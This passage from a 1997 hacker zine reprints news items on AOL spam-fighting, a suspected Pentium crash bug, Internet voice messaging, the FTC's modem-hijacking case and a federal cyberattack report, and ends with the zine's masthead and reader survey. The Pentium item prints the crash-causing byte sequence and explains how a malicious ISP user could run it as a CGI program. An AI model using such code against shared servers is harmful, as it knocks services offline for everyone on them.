unsophisticated in their online use, the service has long been a spammers
paradise. Now, in addition to legal action against the spammers, the company
has begun educating its members to join the fight.
"We now are doing everything we can to block as much junk E-mail as possible
at our mail system gateways before it even reaches our members," wrote
company president Steve Case in a message to members conceding that the
company's filters have proved permeable to E-mail advertisers. "Yet the
increasing volume and the deceptive practices of junk E-mailers have enabled
them to slip unsolicited bulk E-mail through AOL's current junk mail safety
net. ... The bottom line is, we can't fight this problem without you."
The company added a new "junk E-mail" section to the service, designed to
educate members about the problem and let them easily report messages to
system administrators. The company also introduced E-mail filtering controls
that will let members themselves block incoming mail messages from specified
addresses or domains, or allow only messages from preapproved addresses.
Bringing members directly into the fray is the latest move in AOL's recently
stepped-up campaign against bulk mail. The Dulles, Va.-based company filed
two lawsuits this month against companies that send large volumes of
unsolicited E-mail to AOL members. The first suit targeted Over the Air
Equipment, which was allegedly advertising online stripping sites. The
second, Prime Data Systems, was offering get-rich-quick schemes and bulk
mailing software designed to break though AOL filters.
Case also said the company was pursuing "sensible" anti-spam legislation.
Three bills have been introduced in Congress to curb or regulate the practice
of unsolicited commercial E-mailing.
"We'll ask the courts to protect members against unsolicited Ee-mail, and
we'll work to help craft sensible government legislation," Case wrote to
members. But, he added, "To most effectively fight junk E-mail, we need your
help."
(c)CMP Media, 1997.
_____________________________________________________________
Suspected Pentium Bug May Harm ISPs
by James Glave
7.Nov.97. -- A possible new Pentium bug, reports of which surfaced this
morning on the BugTraq security mailing list, may leave Pentium-based
networked computer systems - especially Internet service providers -
vulnerable to system attack.
The bug is essentially four lines of machine code - "F0 0F C7 C8" - and
reportedly causes most Pentium-based machines to crash. Posters to the list
claim that Pentium Pro and Pentium 2 processors are not affected.
The bug does not appear to be a threat to home users running Windows 95.
However, it could well represent a danger in protected office environments or
on public Web servers by malicious ISP account holders running CGI scripts on
their Web pages.
Most smaller ISPs running Pentium servers may be vulnerable. Larger ISPs,
such as Netcom, generally do not allow CGI programs to be run by end users
and thus should not be harmed by the bug.
"If someone just has FTP access to an account and they can put programs up
and execute them as CGI programs on a Web server, you can put this program
up," said Stefan Hudson, senior network administrator at Monterey Bay
Internet. "All it needs to do is run and it takes down the whole machine."
"Many ISPs use Pentium servers running Linux to serve Web pages. The bug
applies to just about every Pentium platform, but it really only affects
people that are running computers where you would have people running code on
a computer that aren't really trusted," said Hudson.
"In an ISP situation, you could have Joe from anywhere. If they get pissed
off at you, they are going to do whatever they can," said Hudson.
"This bug looks far worse that FPIV [Pentium's notorious floating point bug
of some years ago]" said Sam Trenholme, a developer on the BugTraq list.
"Intel will probably be forced to undergo an expensive recall."
Intel said this afternoon that its engineers were examining the bug.
"About noon today we became aware of some postings on a newsgroup that there
is certain illegal code that, when run through a Pentium, allegedly crashed
the processor," said Intel spokesman Bill Miller. "That's all we know. We
take any and all sightings very seriously. Currently there is a team studying
this sighting to see if there is any reality to it. These are complex. We
want to understand if there is indeed an issue."
(c)1993-97 Wired Ventures, Inc.
_____________________________________________________________
Cheap long distance calling comes to Net
November 8, 1997
Bank Technology News, October 1997
Sending audio over the Internet could become a very inexpensive alternative
to traditional long distance calls. Callers need only pay for the connection
to their Internet service provider, which usually amounts to the cost of a
local call. A modest investment in a piece of software or a service will then
let users piggyback voice over the Internet connection. While this type of
low-cost long distance calling is not yet spontaneous nor real-time, it is in
the offing.
Each company hawking such a solution has a different flavor. Toronto-based
Northern Telecom (Nortel) offers voice messaging over the Internet with a
product called Net Gateway. Users do not enjoy a real-time, two-way
conversation, but volley voice messages back and forth. The messages can be
sent over any type of network, be it an IP (Internet protocol) or LAN (local
area network).
Essentially, Nortel's PC software-based product links voice mail systems over
a network. For this to work, users also need to use Nortel's Meridian Mail, a
voice-mail service. From there, one installation of Net Gateway can connect
up to 500 voice messaging nodes.
Nortel's Lynn Myers, senior manager of industry marketing, sees a vast market
for Internet messaging, flowing out of the home banking craze. "A lot of
banks are offering PC banking, and some are starting to use push technology.
In the future, the banks will realize that it's an opportunity to extend
cross selling messages to customers," she says. "As they start doing that,
they will realize they have an opportunity to send messages via voice, which
is much more personal."
Nortel's Internet messaging capability sells for $3,000, and Meridian Mail
costs at least another $3,000.Copyright 1997 Faulkner & Gray Inc.
_____________________________________________________________
Microsoft Browser Takes On a New Flavor: Unix
by Chris Jones
5.Nov.97.PST -- Microsoft is forging new ground today with its first release
of a Unix-based browser - Internet Explorer 4.0 for the Sun Solaris
platform, preview 1.0.
From a features standpoint, the Unix version of IE 4.0 will support dynamic
HTML, scripting, Java, Microsoft's component object model, and nearly
everything that the Windows version contains, including Active Desktop
channels. Although the Unix browser will not support the desktop integration
features for which Microsoft has recently drawn the wrath of the Justice
Department, it will have the "look and feel" of Unix, and can be integrated
with Unix-based email programs.
To be posted on the Microsoft site today, the new Unix browser is just an
early implementation, and primarily intended for developers and network
managers - definitely not for the faint of heart. The final version will be
available in Q1 of 1998.
"This is the first Unix app Microsoft has put together for some time," said
David Fester, group product manager at Microsoft. "Corporations that want to
standardize on IE need a Unix version."
The second preview release of IE 4.0 for Windows 3.1 users will also be
posted to the Microsoft site today, and finalized versions of the remaining
Unix versions - for HP, IBM, and SGI Unix flavors - will be rolled out over
the course of 1998. A final Mac version is due by the end of this year.
(c)1993-97 Wired Ventures, Inc.
_____________________________________________________________
Hijacked Surfers Get Credit, Refunds
11/04/97
By David Braun, TechWeb
WASHINGTON -- More than 38,000 consumers will get credits or refunds
totaling $2.74 million for telephone charges they unknowingly incurred when
their computer modems were reportedly hijacked and routed to expensive
international numbers, the Federal Trade Commission announced Tuesday.
The FTC won a court order in February shutting down what it said was a
sophisticated Internet scam that siphoned off hundreds of thousands of
dollars from unsuspecting consumers who were secretly switched to an
international long-distance phone call. The FTC said the consumers were duped
after being lured to a Website promising free pornography without paying
membership fees or expensive 900-number charges.
Copies of the settlements and complaints are available from the FTC's
Website.
The consumers were told that to view the adult content, they needed to
download a special viewing software program, david.exe, which actually
disconnected them from their Internet service provider, turned off the modem
speakers, and connected them to an Internet service provider with a phone
number in Moldova at a charge of more than $2 per minute, the FTC said in
February.
Consumers who were surfing the Internet stopped to visit one of the Websites
for "free" computer images -- including sites named www.beavisbutthead.com,
www.sexygirls.com, www.1adult.com, and www.erotic2000.com. From there, they
were surreptitiously disconnected from the local telephone number of their
chosen Internet service provider and reconnected via phone numbers that
terminated in Canada, even though they received telephone bills for higher
priced Moldovan calls, the FTC said.
In its announcement Tuesday, the FTC said the refunds were included in
settlements reached with several companies and individuals charged with
running the Internet scam.
The proposed settlements would require the defendants to redress consumer
victims by paying funds to AT&T and MCI, which will issue credits to their
customers who were billed for the Moldovan calls. The defendants will also
make payments to the FTC, which will issue refunds to customers of other
long-distance carriers who were billed for the calls.
(c) CMP Media, 1997.
_____________________________________________________________
Presidential Panel Issues Cyberattack Warning
11/06/97
By John Borland, Net Insider [What the hell does 'Net Insider' mean?]
Forget fertilizer bombs and dynamite. Terrorists can now use the Internet.
The United States is vulnerable to new kinds of cyberattacks that could play
havoc with national power grids or telecommunications lines, according to the
final report released Wednesday from the President's Commission on Critical
Infrastructure Protection.
"Potentially serious cyber attacks can be conceived and planned without
detectable logistic preparation," says the commission's report, which studied
threats to critical national infrastructures. "A personal computer and a
simple telephone connection to an Internet Service Provider anywhere in the
world are enough to cause a great deal of harm."
"They can be invisibly reconnoitered, clandestinely rehearsed, and then
mounted in a matter of minutes or even seconds without revealing the identity
of the attacker," the report says. "We are quite convinced that our
vulnerabilities are increasing steadily while the costs associated with an
effective attack continue to drop."
As power stations, telecommunications networks, and the Internet become
increasingly linked, terrorists could cripple large sectors of the economy by
attacking a single critical point in the Net, the report says.
"Today, the right command sent over a network to a power generating station's
control computer could be just as effective as a backpack full of
explosives," the report says. "While we do not believe a debilitating attack
is imminent, the threats to our nation and the vulnerabilities in our
infrastructures are real. ... The investments required to improve the
situation are still relatively modest, but will rise if we procrastinate."
The report makes recommendations for a broad campaign of protection, several
of which were protested by civil libertarian groups. One section calls for
the implementation of an encryption key management system, which would allow
government access to a repository of private citizens' encryption keys in the
case of a suspected crime.
This kind of key escrow system has been blasted by privacy advocates and
encryption experts, who have said that a large-scale key management system is
technically implausible and practically impossible.
"It doesn't make any sense," said Stanton McCandlish, director of the
Electronic Freedom Foundation Program. "We've got the world's most renowned
cryptographers saying that it won't work."
Even if U.S. citizens do register their keys, McCandlish said, virtually
unbreakable encryption is easily available from foreign sources, so criminals
would be able to skirt U.S. laws.
Another section of the report says that detailed infrastructure information
should not be distributed to the public, thus preventing ambitious terrorists
from obtaining road maps. Much of this previously unclassified material,
including information shared with the government by private companies such as
ISPs or utilities, should be better protected and be given exemptions from
Freedom of Information Act requests.
"The risk is increasing on a daily basis the more we rely on unreliable
components," said John Cronican, vice president of engineering at the Merdan
Group, a San Diego-based computer security consultancy. "Any time you become
dependent on information and begin replacing people with machines, you've got
problems."
Both the report and security consultants said that private companies and the
public at large need to be educated about the dangers of computer attacks.
"The report says we don't have safeguards because people have not thought it
through," Cronican said.
(c) CMP Media, 1997.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Ú--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
: The HAVOC Technical Journal ³
ú-ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
'finger @thtj.com'
Editor-in Chief : Scud-O, <scud@thtj.com>
Executive Editor : KungFuFox
Submissions Editor : Keystroke
Editing Assistants : FH
Phrax
Shok
Staff Writers : memor
ArcAngel
lurk3r
The Messiah
(and a whole lot of other people)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Where It's At
On Undernet: On EFNet:
#phreak #sinnerz
#hackphreak #phrack
#hackers #linuxos
#carparts
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Reader Survey
[This survey is designed to help us better suit our magazine to the reader,
or we may just be trying to get a good laugh, but we haven't decided yet.]
Nick:
M/F:
Age:
Occupation/grade:
City:
State:
Zip Code:
Country:
Area Code:
Why do you read The HAVOC Technical Journal?
Where did you get this issue?
Are you a subscriber to THTJ?
What other zines do you read on a regular basis?
What would you like to see in future issue of THTJ?
What would you add or subtract from THTJ's format and articles?
On a scale of 1-10 ( 1 being lowest, 10 being highest), how would you rate
yourself?
On a scale of 1-10 ( 1 being lowest, 10 being highest), how would you rate
The HAVOC Technical Journal?
Any extra comments?
Please send all replies to scud@thtj.com
Ú--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
: [ ] Do not check this box! ³
ú-ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
For office use only:
[ ]D [ ]X [ ]W [ ]Y [ ]0 [ ]1 [ ]0 [ ]1
(don't ask, we don't have a clue what this is for)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, we have now come to the end of this issue. Look for the next issue
on the first of next month. In the mean time, why dont you write an article
for thtj? Or tell all your friends about how cool it is? Or fill out our
reader survey and tell us what you liked, what you didnt like, and want you
want to see in thtj. Also, e-mail us any comments or questions you may have.
- scud <scud@thtj.com>
